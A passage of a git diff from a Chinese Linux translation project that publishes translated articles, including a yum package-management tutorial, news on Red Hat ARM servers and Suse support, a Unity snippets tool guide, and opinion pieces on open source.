yum-plugin-downloadonly.noarch 0:1.1.30-14.el6 will be installed + -> Finished Dependency Resolution Dependencies Resolved @@ -228,51 +227,51 @@ Use yum to download RPM package from RHN or CentOS repository without installing Complete! -Now you can just download a package from repository without installing it by using this command: +现在你就可以从软件仓库里只下载软件包而不安装了,命令如下: - # yum install httpd-devel –downloadonly + # yum install httpd-devel -downloadonly -By default packages are downloaded to **/var/cache/yum/** directory but you can download them a specified location by adding another option to yum command +默认情况下软件包会被下载到**/var/cache/yum/**目录,但是你可以添加额外选项将其下载到指定位置 - # yum install httpd-devel –downloadonly –downloaddir=/opt + # yum install httpd-devel -downloadonly -downloaddir=/opt -If you have a rpm of a package but you don’t have the dependencies and you do not know where to get that. you can still have yum to install that rpm and get the required dependencies from the repository. Let’s install the httpd-devel-2.2.15-29.el6_4.x86_64 RPM that we just downloaded. +假如你有一个rpm软件包但是没有它所依赖的软件包,你不知道到哪去得到它所依赖的软件包。你仍然可以通过yum安装这个rpm软件包,并从软件仓库里得到它所依赖的软件包。让我们安装刚刚下载的httpd-devel-2.2.15-29.el6_4.x86_64 RPM软件包。 - # yum localinstall /opt/httpd-devel-2.2.15-29.el6_4.x86_64.rpm - - Loaded plugins: amazon-id, downloadonly, rhui-lb, security + # yum localinstall /opt/httpd-devel-2.2.15-29.el6_4.x86_64.rpm + + Loaded plugins: amazon-id, downloadonly, rhui-lb, security Setting up Local Package Process Examining /opt/httpd-devel-2.2.15-29.el6_4.x86_64.rpm: httpd-devel-2.2.15-29.el6_4.x86_64 Marking /opt/httpd-devel-2.2.15-29.el6_4.x86_64.rpm to be installed Resolving Dependencies - –> Running transaction check - —> Package httpd-devel.x86_64 0:2.2.15-29.el6_4 will be installed - –> Processing Dependency: apr-devel for package: httpd-devel-2.2.15-29.el6_4.x86_64 - –> Processing Dependency: apr-util-devel for package: httpd-devel-2.2.15-29.el6_4.x86_64 - –> Running transaction check - —> Package apr-devel.x86_64 0:1.3.9-5.el6_2 will be installed - —> Package apr-util-devel.x86_64 0:1.3.9-3.el6_0.1 will be installed - –> Processing Dependency: openldap-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64 - –> Processing Dependency: expat-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64 - –> Processing Dependency: db4-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64 - –> Running transaction check - —> Package db4-devel.x86_64 0:4.7.25-18.el6_4 will be installed - –> Processing Dependency: db4-cxx = 4.7.25-18.el6_4 for package: db4-devel-4.7.25-18.el6_4.x86_64 - –> Processing Dependency: db4 = 4.7.25-18.el6_4 for package: db4-devel-4.7.25-18.el6_4.x86_64 - –> Processing Dependency: libdb_cxx-4.7.so()(64bit) for package: db4-devel-4.7.25-18.el6_4.x86_64 - —> Package expat-devel.x86_64 0:2.0.1-11.el6_2 will be installed - —> Package openldap-devel.x86_64 0:2.4.23-32.el6_4.1 will be installed - –> Processing Dependency: cyrus-sasl-devel >= 2.1 for package: openldap-devel-2.4.23-32.el6_4.1.x86_64 - –> Running transaction check - —> Package cyrus-sasl-devel.x86_64 0:2.1.23-13.el6_3.1 will be installed - —> Package db4.x86_64 0:4.7.25-17.el6 will be updated - –> Processing Dependency: db4 = 4.7.25-17.el6 for package: db4-utils-4.7.25-17.el6.x86_64 - —> Package db4.x86_64 0:4.7.25-18.el6_4 will be an update - —> Package db4-cxx.x86_64 0:4.7.25-18.el6_4 will be installed - –> Running transaction check - —> Package db4-utils.x86_64 0:4.7.25-17.el6 will be updated - —> Package db4-utils.x86_64 0:4.7.25-18.el6_4 will be an update - –> Finished Dependency Resolution + -> Running transaction check + --> Package httpd-devel.x86_64 0:2.2.15-29.el6_4 will be installed + -> Processing Dependency: apr-devel for package: httpd-devel-2.2.15-29.el6_4.x86_64 + -> Processing Dependency: apr-util-devel for package: httpd-devel-2.2.15-29.el6_4.x86_64 + -> Running transaction check + --> Package apr-devel.x86_64 0:1.3.9-5.el6_2 will be installed + --> Package apr-util-devel.x86_64 0:1.3.9-3.el6_0.1 will be installed + -> Processing Dependency: openldap-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64 + -> Processing Dependency: expat-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64 + -> Processing Dependency: db4-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64 + -> Running transaction check + --> Package db4-devel.x86_64 0:4.7.25-18.el6_4 will be installed + -> Processing Dependency: db4-cxx = 4.7.25-18.el6_4 for package: db4-devel-4.7.25-18.el6_4.x86_64 + -> Processing Dependency: db4 = 4.7.25-18.el6_4 for package: db4-devel-4.7.25-18.el6_4.x86_64 + -> Processing Dependency: libdb_cxx-4.7.so()(64bit) for package: db4-devel-4.7.25-18.el6_4.x86_64 + --> Package expat-devel.x86_64 0:2.0.1-11.el6_2 will be installed + --> Package openldap-devel.x86_64 0:2.4.23-32.el6_4.1 will be installed + -> Processing Dependency: cyrus-sasl-devel >= 2.1 for package: openldap-devel-2.4.23-32.el6_4.1.x86_64 + -> Running transaction check + --> Package cyrus-sasl-devel.x86_64 0:2.1.23-13.el6_3.1 will be installed + --> Package db4.x86_64 0:4.7.25-17.el6 will be updated + -> Processing Dependency: db4 = 4.7.25-17.el6 for package: db4-utils-4.7.25-17.el6.x86_64 + --> Package db4.x86_64 0:4.7.25-18.el6_4 will be an update + --> Package db4-cxx.x86_64 0:4.7.25-18.el6_4 will be installed + -> Running transaction check + --> Package db4-utils.x86_64 0:4.7.25-17.el6 will be updated + --> Package db4-utils.x86_64 0:4.7.25-18.el6_4 will be an update + -> Finished Dependency Resolution Dependencies Resolved @@ -344,23 +343,23 @@ If you have a rpm of a package but you don’t have the dependencies and you do Complete! -### Removing packages using yum. ### +###使用yum卸载软件包 -yum remove Remove a package. +使用 **yum remove** 卸载软件包。举例如下: - # yum remove httpd + # yum remove httpd Failed to set locale, defaulting to C Loaded plugins: amazon-id, downloadonly, rhui-lb, security Setting up Remove Process Resolving Dependencies - –> Running transaction check - —> Package httpd.x86_64 0:2.2.15-29.el6_4 will be erased - –> Processing Dependency: httpd-mmn = 20051115 for package: php-5.3.3-23.el6_4.x86_64 - –> Processing Dependency: httpd = 2.2.15-29.el6_4 for package: httpd-devel-2.2.15-29.el6_4.x86_64 - –> Running transaction check - —> Package httpd-devel.x86_64 0:2.2.15-29.el6_4 will be erased - —> Package php.x86_64 0:5.3.3-23.el6_4 will be erased - –> Finished Dependency Resolution + -> Running transaction check + --> Package httpd.x86_64 0:2.2.15-29.el6_4 will be erased + -> Processing Dependency: httpd-mmn = 20051115 for package: php-5.3.3-23.el6_4.x86_64 + -> Processing Dependency: httpd = 2.2.15-29.el6_4 for package: httpd-devel-2.2.15-29.el6_4.x86_64 + -> Running transaction check + --> Package httpd-devel.x86_64 0:2.2.15-29.el6_4 will be erased + --> Package php.x86_64 0:5.3.3-23.el6_4 will be erased + -> Finished Dependency Resolution Dependencies Resolved @@ -399,9 +398,9 @@ yum remove Remove a package. Complete! -### List all installed packages ### +###列出所有安装的软件包 -If you want to list all the installed packages then you can use yum list installed command. This is useful in combination with grep or to check whether a specific package has been installed. This is similar to query installed packages with rpm -qa command. +假如你要列出你系统上安装的所有软件包,你可以使用**yum list installed**命令。这条命令结合grep命令是非常有用的,可以用来检查某个特定的软件包是否已被安装。这与使用rpm -qa命令询问已经安装的软件包相似。 # yum list installed Loaded plugins: amazon-id, downloadonly, rhui-lb, security @@ -427,10 +426,10 @@ If you want to list all the installed packages then you can use yum list install . Output Truncated. -### List the available repository from which packages are being queried, installed and updated. ### +###列出可用的软件库,通过它们可以查询、安装和更新软件包 + + # yum repolist - # yum repolist - Loaded plugins: amazon-id, downloadonly, rhui-lb, security repo id repo name status rhui-REGION-client-config-server-6 Red Hat Update Infrastructure 2.0 Client Configuration Server 6 4 @@ -442,6 +441,6 @@ If you want to list all the installed packages then you can use yum list install via: http://linoxide.com/linux-command/package-management-yum-redhat-linux/ -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/Raspberry Pi--the Perfect Home Server.md b/published/201311/Raspberry Pi--the Perfect Home Server.md similarity index 100% rename from published/Raspberry Pi--the Perfect Home Server.md rename to published/201311/Raspberry Pi--the Perfect Home Server.md diff --git a/translated/Red Hat Fedora 20 Linux--New Networking, ARM Features.md b/published/201311/Red Hat Fedora 20 Linux--New Networking, ARM Features.md similarity index 97% rename from translated/Red Hat Fedora 20 Linux--New Networking, ARM Features.md rename to published/201311/Red Hat Fedora 20 Linux--New Networking, ARM Features.md index 8dbdc91f60..af495d518d 100644 --- a/translated/Red Hat Fedora 20 Linux--New Networking, ARM Features.md +++ b/published/201311/Red Hat Fedora 20 Linux--New Networking, ARM Features.md @@ -22,7 +22,7 @@ Fedora 20 的目标是完全支持 ARM 设备(特别是 ARM7hl),这个目 via: http://thevarguy.com/open-source-application-software-companies/red-hat-fedora-20-linux-new-networking-arm-features -译者:[bazz2](https://github.com/bazz2) 校对:[校对者ID](https://github.com/校对者ID) +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/Red Hat prepares for 64-bit ARM servers.md b/published/201311/Red Hat prepares for 64-bit ARM servers.md new file mode 100644 index 0000000000..e8fd80f9f2 --- /dev/null +++ b/published/201311/Red Hat prepares for 64-bit ARM servers.md @@ -0,0 +1,43 @@ +Red Hat 为64位ARM服务器做准备 +================================================================================ + +> ARM处理器可能带来具有成千上万的节点的堆叠服务器,Red Hat的ARM首席架构师预测说 + +来自IDG新闻服务:企业开源软件供应商Red Hat公司正在密切关注服务器的64位ARM处理器的发展,以建立在数据中心的新生平台上的专业能力。 + +“你们在当今的商业产品市场看不到我们,但我们已经建立了超越如今一些64位技术的能力。所以接下来,如果我们有一个需要应对的市场,我们将有能力应对,”Red Hat首席ARM设计师Jon Masters说。这是Masters周五在华盛顿特区举行的USENIX LISA(大型安装系统管理)会议上提出的。 + +ARM处理器代表了“计算上翻天覆地的变化,”Masters说。虽然已经在智能手机和嵌入式计算设备占据主导地位,ARM处理器架构还可以在数据中心发挥作用。在过去的一年中,基于ARM处理器的服务器已经开始出现在服务器市场。惠普已经开始销售基于ARM架构的Moonshot系列服务器。 + +对于数据中心,ARM可能会因其低功耗设计而带来超大规模计算时代,这样数千个微型计算节点可以打包成一个堆叠服务器。“我们在不久的将来能够建立起完全区别于现今的规模。”Masters说。 + +ARM处理器可能无法以x86处理器的速度运行,但它们可以提供大部分的性能而只消耗一小部分能源,这意味着在一个较小的空间可以打包更多的处理器。“你可以用你手机中相同的技术,作为高密度服务器设计的一部分”,Masters说。 + +他说,许多工作并不需要最快的处理器。相反,工作负载可以分布在更多的处理器上。“这和我能移动多少数据有关系,并不一定和我能做多少计算有关,”他说。例如,云计算和Web应用程序运行在多个服务器上,和运行在数量较少但速度更快的服务器上的表现会同样出色。 + +ARM的设计也可以简化数据中心操作。ARM的芯片内系统的设计方式可以解决管理许多服务器的外部元件的需要。例如,ARM处理器可以提供交叉互联,减少外部电缆和顶级机架交换机的需要。 + +“每一个刀片都具有离散布线已经指日可待了, ”他说。 + +Masters说超大规模计算还需要做大量的工作。 + +ARM授权它的架构而不是和英特尔一样卖处理器。其结果是,从不同供应商提供的不同的ARM处理器有相当程度的变化。“有很多我们不需要的,不必要的变化,”Masters说。 ”这可能成为需要统一系统来管理集体的数据中心的一个问题。 + +[Linaro][1]是一个致力于为ARM平台和部分已经标准化ARM任务开发核心开源软件的产业群。Red Hat的工程师发挥了重要作用,Linaro企业集团,或称为LEG,一直在努力规范软件,让用户可以得到一个能运行在不同供应商提供的ARM处理器的Linux版本。”这些都是在企业领域的基本期望,”Masters说。 + +“我们需要把重心放在如何使它们从根本上兼容,这样你可以进一步增加堆叠,”他说。 + +另一个问题是对外围设备的支持,仍然没有标准化的32位ARM处理器。Masters说,LEG正在考虑使用64位ARM处理器的ACPI(高级配置和电源接口)标准或UEFI(统一可扩展固件接口)。随着时间的推移,ARM将提供一个类似自动化总线的能力,比如将提供支持x86的机器的PCI总线。 + +Masters说,Red Hat还没有宣布任何关于什么时候会发布一个ARM架构的Red Hat企业Linux版本的通知,但他明确指出,测试了许多RHEL应用程序的社区Linux发行版Fedora项目,现在已经为ARM提供了一个发行版。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9243921/Red_Hat_prepares_for_64_bit_ARM_servers?taxonomyId=122 + +译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linaro.org/ + diff --git a/published/201311/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md b/published/201311/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md new file mode 100644 index 0000000000..cd6d1b36af --- /dev/null +++ b/published/201311/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md @@ -0,0 +1,67 @@ +可以快速保存、访问和粘贴文本片段的Unity漂亮工具 +================================================================================ + +**反复键入特定的信息 - 如电子邮件地址或家庭地址,详细的终端命令,及时发送用户喜爱的电视节目的资讯 - 可是件苦差事。** + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screen-Shot-2013-10-31-at-13.04.jpg) +*Snippets – 方便的访问存储的文本的方法* + +谢天谢地,这个世界上有一些工具可以帮助我们(做这些事儿)。 + +*‘Snippets’* 就是Unity中这种组件之一。 这是一个简单的启动程序小工具,它让你在一个文件中保存和存储摘下来的内容,然后当你需要的时候从Unity的一个快速列表里复制到剪贴板。 + +在某些人把他的内裤扔到我的脸上之前,我得说Snippets不是唯一的这种工具,它甚至不是第一个提供这一系列功能的。但是它独特的是通过Unity启动器来提供这一系列功能。 + +这个软件具功能不错又足够简单,提供以下功能: + +- 添加、访问存储在txt文件中的文本段 +- 在快速列表里查看保存的文本段 +- 点击文本段就可以复制到剪贴板 +- 提供了把剪贴板中的内容保存到txt文件的选项 + +尽管它不是一个“智能”的剪贴板管理工具 – 它只是列出了你特别添加的项目;它不会列出你最近的剪贴板项目历史,但仍然是一个非常方便的小工具。 + +###怎样为Unity安装Snippets### + +想要使用这个漂亮的启动器项目,你需要先安装一个命令行剪贴板工具XClip。点击下面的按钮(链接)从软件中心安装。 + +- [点击以在Ubuntu里安装XClip][1] + +下一步,下载下面的‘Snippets’压缩文件。这包含了剩余所有的使用这个应用所需要的东西。 + +- [下载‘Snippets’Unity启动器][2] + +当这个压缩文件下完之后你就可以解压了。进入生成的文件夹,然后按Ctrl+H显示隐藏的文件。移动文件夹‘.snippets-launcher‘到你的主文件夹中。**如果不这么做,这个组件将无法正常工作。** + +下一步是安装启动器项目。这是被一个你刚搬到文件夹里面的脚本关照的,但它不具有可执行的权限(需要安装),因此,我们首先需要关照它一下。 + +打开一个新的终端窗口在里面小心的键入下面的命令: + + cd .snippets-launcher/ && chmod +x snippets.sh + ./snippets.sh + +就是这样;Snippets应该已经整装待发了。打开Unity Dash搜索Snippets然后把它拖到启动器上去: + +- 左键点击启动器打开可以添加你的文本段的文本文件 +- 右键点击启动器上的项目打开快速列表 + +快速列表里的选项: + +- 左键点击文本段以添加到剪贴板 +- 左键点击“日期”可以复制当前日期 +- 点击“添加剪贴板内容”可以把当前剪贴板中的内容加入到.txt文件中(译注:实际上保存的文本是存储在一个文本文件中) +- 在添加一个项目到.txt文件后点击“更新启动器” + +更多关于这个懒人的工具信息尽在[Ubuntu论坛][3],在那里它的开发者,“Stinkeye”,会很高兴地提供帮助。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/10/unity-launcher-clipboard-snippets-item + +译者:[crowner](https://github.com/译者ID) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:apt://xclip +[2]:https://www.dropbox.com/s/ha6lngizmz78srv/snippets%20by%20stinkeye.tar.gz +[3]:http://ubuntuforums.org/showthread.php?t=2184916 diff --git a/published/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md b/published/201311/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md similarity index 100% rename from published/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md rename to published/201311/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md diff --git a/published/201311/Seven reasons why closed source is better than open source, or so it seems.md b/published/201311/Seven reasons why closed source is better than open source, or so it seems.md new file mode 100644 index 0000000000..c27f3e2b90 --- /dev/null +++ b/published/201311/Seven reasons why closed source is better than open source, or so it seems.md @@ -0,0 +1,57 @@ +闭源优于开源的七个缘由?是这样吗? +================================================================================ +![](http://opensource.com/sites/default/files/imagecache/image-full-size/images/business/BUSINESS_asusual_deadend.png) + +这看起来似乎挺奇怪的,因为这样的观点来竟然自于OpenLogic的创办人,而该公司专注于在开源领域提供帮助。 但是事实上,闭源在某些情况下优于开源。 + +针对闭源…… + +###1. 出了问题,不用自己搞定 + +只要是软件,难保不出问题。要是开源软件出了这事儿,要么你自己,要么某个欠你人情债的工程师,总得有个人要花费时间排除bug。通览代码,求助于开源社区或者开源软件的供应商,通过这些手段来解决问题。 + +但是闭源呢,一旦你确定开发商代码出了问题,ok,你的工作到此为止! 你只需发个文件,等着就行了。当然,可能会等上几个月或者几年,问题才能得到解决,更甚者永远得不到答复。但是除此之外,你还能做什么呢。 把问题踢回去,放松,期待最好的解决方案,仅此而已。 + +###2. 不必担心贡献回流到社区 + +如果用的是开源软件, 很有可能, 你解决了一个bug或者做出了改善,之后你的代码就会进入到社区,随着时间的推移从而帮助测试或者维护。 + +闭源就不同了,你根本用不着给任何人做任何事情。当然,那是因为你接触不到代码,所以也修改不了,但是你可以针对遇到的问题创建自己的解决方案。你可以一直只针对同一个问题,改善再改善,一个版本接着一个版本,至少用不着跟社区打交道,为其他人提供更好的解决方法。 + +###3. 你不必考虑开源许可条款及规定事宜 + +对于开源,你必须遵循所使用的组件的许可条款。例如,想要搞明白Apache软件许可证和GPL之间的区别与联系,是需要花费一定的时间的。使用哪一种许可证取决于你所用的开源组件以及你如何使用这些组件(发布给第三方或者内部使用),据此都有不同的许可证可供应用(可附加到文档中进行说明)。 + +像OpenLogic这样的公司可以很容易地理解并遵守开源许可,但是针对闭源,你大可不必担心这类事情!你的供应商的许可协议把有关软件的所有的权利都收走了,如果没有你的公司的律师明确同意的情况下,你几乎是不可能的想以别的方式使用这些软件,想都不要想。当然,你还得考虑许可证数量、突如其来的软件合规性审计、随着时间的推移而恶化的条款、几乎难以理解的法律术语,但至少你不必了解如何使用开源组件。 + +###4. 你用不着为每个组件在众多选项中进行选择 + +针对数据库,Web服务器,应用服务器,编程语言,图形用户界面框架,类似的方面等等,开源都提供了大量的解决方案。在每一个特定的领域,你都可以找到运用不同的架构方法,使用各种语言构建的健壮的成品。找一款功能相似的工具很容易,这些工具都针对不同的使用场合进行了优化(性能、可扩展性、简洁之间的比较)。为了确信一个工具软件在既定场合下功能够满足需求,可以下载下来,试用一下。 + +使用闭源软件的话,你就用不着对付那么多的选择。你只需要在每个领域探索两三个大厂商提供的产品。如果供应商没有提供免费试用版本,或者很难说服你为试用品买单,甚至根本不和你签署试用协议,那你就节省时间了。 + +###5. 你不必四处找幻灯片 + +如果打算找一些软件的会议简报,架构图表,截图,以及其他相关的文档,这需要花费一定的时间。使用开源软件,你得读百科,访问论坛,还有邮件列表,才能获取到你需要的相关组件的信息。 + +使用闭源软件,一通电话就足够了,只需坐在自己舒适的办公室,会有西装革履的专业人士把PowerPoint演示文稿寄送到你的面前。当然,在你提供自己的联系方式之前,销售人员是不会给你打电话的。这样看来,至少自己没必要在网上搜索带有漂亮的图形的PPT。 + +###6. 你无需到处寻求技术支持 + +你可以得到来自开源社区,自己的工程师,或专业开源组织的帮助。这可能需要一些时间,以决定是否要服务等级协议(SLA)的支持,以便于在保证的时间内得到答复,就像从OpenLogic那里获得帮助一样,或者如果你可以自由的发问题到邮件列表,自己解决。 + +闭源就不同了,你根本不需要担忧从哪获得帮助。而且,你可能根本用不着和工程师当面交谈,只需要知道给谁打电话就OK了。 + +###7. 认输就行了 + +开源软件,总会有办法解决问题,打补丁,改善,强化,重构,升级,或者重写。没可能跟闭源那样,甩手走开。当然,你可以谩骂开发出这个导致问题的软件的社区,但是你仍然可以解决问题,从社区或者组织那里获得帮助,或者自己动手解决。 而对于商业供应商,那就远不能满足于骂一顿和花费一天的时间来找他们。 + +嗯,你都了解了。为甚么闭源优于开源的几条缘由。你还有要补充的吗? + +-------------------------------------------------------------------------------- + +via: http://opensource.com/business/13/10/seven-reasons-closed-better-than-open-source + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201311/Suse Linux Enterprise expands regular support to 10 years.md b/published/201311/Suse Linux Enterprise expands regular support to 10 years.md new file mode 100644 index 0000000000..068c798445 --- /dev/null +++ b/published/201311/Suse Linux Enterprise expands regular support to 10 years.md @@ -0,0 +1,27 @@ +Suse Linux 延长支持期时间到10年 +================================================================================ +**Suse在客户的要求下延长了支持期** + +Suse Linux Enterprise (SLE)(11版)及以后的版本将会迎来10年的支持期和而不是现在的7年,此举是为了应对竞争对手的服务。 + +Suse的总裁和总经理尼尔.布劳克曼,在佛罗里达的维斯塔湖举办的Suse 2013会议上的发言说:"我们将进入一个新的Suse Linux Enterprise支持周期。"这个主题演讲的[视频][1]已经被放到了YouTube上。 + +Suse产品管理和操作的高级总监杰拉尔德.普法伊费尔,在周三的一封邮件中说:"Suse Linux Enterprise 11是首个得到10年支持期的主要版本,以及3年的扩展支持(LTSS)。我们也考虑向前推进这个新的Suse Linux Enterprise的支持周期,同样包含了12版。"Suse售卖开源Linux软件给企业。 + +普法伊费尔说:"Suse提供不同的包用于扩展支持。扩展支持到13年将花费$60,000/每100台服务器,或者$80,000/每500台服务器。如果不限制服务器的数量,费用是$125,000.这些价格已经沿用好几年了。" + +布劳克曼在他的主题演讲中说:"从一个7+3年的支持期到10+3年的支持期,客户能得到更多时间通用支持。"他还说:"这个决定是在几周前在客户的反映下做出的。" + +Suse的支持期延长是随着Red Hat的在去年1月的行动,RedHat根据客户需求将 Red Hat Enterprise Linux (RHEL) 5和6的生命周期延长到10年。 + +基于RHEL的Oracle Linux,去年2月将支持期从8年延长到10年。而基于Enterprise Linux的重编译版本的CentOS,同样将支持周期延长到10年有一段时间了。 + +-------------------------------------------------------------------------------- + +via: http://www.itworld.com/operating-systems/382610/suse-linux-enterprise-expands-regular-support-10-years + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.youtube.com/watch?v=T0W4izFu_WM \ No newline at end of file diff --git a/published/System-information tool I-Nex 0.5.4 released with improvements.md b/published/201311/System-information tool I-Nex 0.5.4 released with improvements.md similarity index 100% rename from published/System-information tool I-Nex 0.5.4 released with improvements.md rename to published/201311/System-information tool I-Nex 0.5.4 released with improvements.md diff --git a/translated/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md b/published/201311/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md similarity index 97% rename from translated/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md rename to published/201311/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md index 85239c69bb..007ce0e257 100644 --- a/translated/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md +++ b/published/201311/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md @@ -2,7 +2,7 @@ ================================================================================ > 自从微软的反Linux、反开源战略备忘录泄露以来,已经整整过去了15个年头。让我们来回顾一下,这一战略是如何失败的。 -![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2013/10/trickortreat2.jpg) +![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2013/10/trickortreat2.jpg) 15年前,当时临近万圣节,Eric S. Raymond发布了第一份“[万圣节档案(Halloween Documents)][1]”,文档揭露了微软专门针对Linux与开源的秘密战略。那时,“恐惧、未知与怀疑(fear, uncertainty and doubt - FUD)”这样的词汇第一次被收入辞典,到了今天,很多情况已经改变,而未曾改变的又有哪些?微软和开源世界今天能够和睦相处了吗? @@ -19,11 +19,12 @@ 今天,值得我们再次重温万圣节档案,提醒自己不要逃避开源世界的竞争。长远来看,开源软件开发模式能够大大地增进繁荣共享软件市场,而引入开源技术及其开发模式的公司,例如红帽,其发展远比那些因为“恐惧、未知与怀疑(FUD)”而固步自封的公司要好得多。如今的红帽已经拥有更加平稳的盈利潜力,在上文提到的多个开源领域都有持续的业务增长,例如云计算和大数据,相比之下,微软、甚至苹果,如果想要在这些领域有所扩展,则要在新的硬件种类方面面对高昂费用和更加危险的投资。 总结:不管是糖果还是软件,分享,都是前进的方向。万圣节快乐! + -------------------------------------------------------------------------------- via: http://thevarguy.com/open-source-application-software-companies/halloween-documents-microsofts-anti-linux-strategy-15-yea -译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[校对者ID](https://github.com/校对者ID) +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translated/The future of Linux--Evolving everywhere.md b/published/201311/The future of Linux--Evolving everywhere.md similarity index 90% rename from translated/The future of Linux--Evolving everywhere.md rename to published/201311/The future of Linux--Evolving everywhere.md index b58112cbe1..bb011132d2 100644 --- a/translated/The future of Linux--Evolving everywhere.md +++ b/published/201311/The future of Linux--Evolving everywhere.md @@ -1,11 +1,11 @@ Linux的未来:进化无处不在 ================================================================================ -*InfoWorld* —— Mark Shuttleworth最近关闭了[Ubuntu Linux排名第一的bug][1](“微软拥有最高的市场占有率”),导致了一些争议,也引出了一些意味深长的讨论,讨论自从1991年Linus Torvalds以个人宠物项目发明Linux以来,Linux所走过的路。 +*InfoWorld* —— Mark Shuttleworth之前关闭了[Ubuntu Linux的第一号bug][1](“微软拥有最高的市场占有率”),导致了一些争议,也引出了一些意味深长的讨论,讨论自从1991年Linus Torvalds以个人玩物项目发明Linux以来,Linux所走过的路。 微软也许不会那么快退出桌面系统的历史舞台,但是随着Linux逐渐成长成为IT行业的一块重要基石,计算机的本质也已经完全改变。如今,从云服务到手机操作系统,几乎行业内的所有领域都受到了Linux的直接推动或间接影响。 -**Linux体系:提交、审核、采纳** +###Linux体系:提交、审核、采纳 伴随着支持者的不断增加,Linux的开发进程也在不断加快。 @@ -13,7 +13,7 @@ Linux的未来:进化无处不在 或许,更重要的,是快速成长中的Linux如何应对挑战,变得更加成熟稳定,成为在多个领域主导市场发展的领头羊。接下来,让我们分别从以下几个方面尝试预测一下Linux的未来:原材料、社区产品与企业贡献、其特质所面对的各种挑战、技术实力和成长方向。 -**Linux作为原材料:弯曲、塑形,你想让它是什么样都可以** +###Linux作为原材料:弯曲、塑形,你想让它是什么样都可以 如果用一个形容词来总结Linux独有的优点,那就是“可塑性(malleable)”。Linux是这样一种原材料,可以装订切割,也可以为任意场合量身定做,小到嵌入式设备,大到大规模并行超级计算机。 @@ -23,7 +23,7 @@ Linux基金会执行董事Jim Zemlin承认,“Linux终端用户的体验的的 “它就像一块建筑地基,使得Google能建立Android和Chromebooks,Amazon建立Kindle,Canonical建立Ubuntu,等等这样的例子还有很多。所有这些产品对用户来说意味着不同的使用体验,而选择权完全在消费者自己手里。” -Mark Baker,Canonical公司的Ubuntu服务器产品经理,目前负责带领Ubuntu项目。他的话更加具体准确地表明了这一观点:“开源意味着选择的自由。”开源自然会促进模块化,因此,无论你是一个技术宅男还是正在开发数据中心的系统架构师,“通过开源,你可以选择最适合你的组件”。 +Mark Baker,Canonical公司的Ubuntu服务器产品经理,目前负责领导Ubuntu项目。他的话更加具体准确地表明了这一观点:“开源意味着选择的自由。”开源自然会促进模块化,因此,无论你是一个技术宅男还是正在开发数据中心的系统架构师,“通过开源,你可以选择最适合你的组件”。 但是IDC的操作环境分析师兼系统软件项目副经理 Al Gillen 却质疑这种完全放任自流的价值观。“Linux是开源的,由此,任何人都可以修改代码,把它变成别的什么东西。但是,现代工业已经表明,没有价值的产品会被淘汰,代码的发展主线应当始终紧靠主流价值观。” @@ -31,15 +31,15 @@ Android用户对此有直接的深刻体会,诸多Android操作系统间存在 讽刺的是,即使“可塑性”真的是Linux的最大优势,但过犹不及,Linux作为这样的原材料将会付出成倍的代价。 -Cloudera的工程部经理 Eric Sammer 并没有孤立地看待这个问题,他认为Linux的用户群“与Firefox或Apache等产品的用户群并不一样”,Linux“面向的并不是终端用户,而是操作系统类工程师”,因此它需要与“很多其他软件一同建立一个完整的系统 —— 其中大部分软件是捆绑发布的,并对用户透明(例如boot loader)。”就如同Torvalds在Linux最初的内核发布日志中所亲自记录的,“只有内核,你什么也干不了。” +Cloudera的工程部经理 Eric Sammer 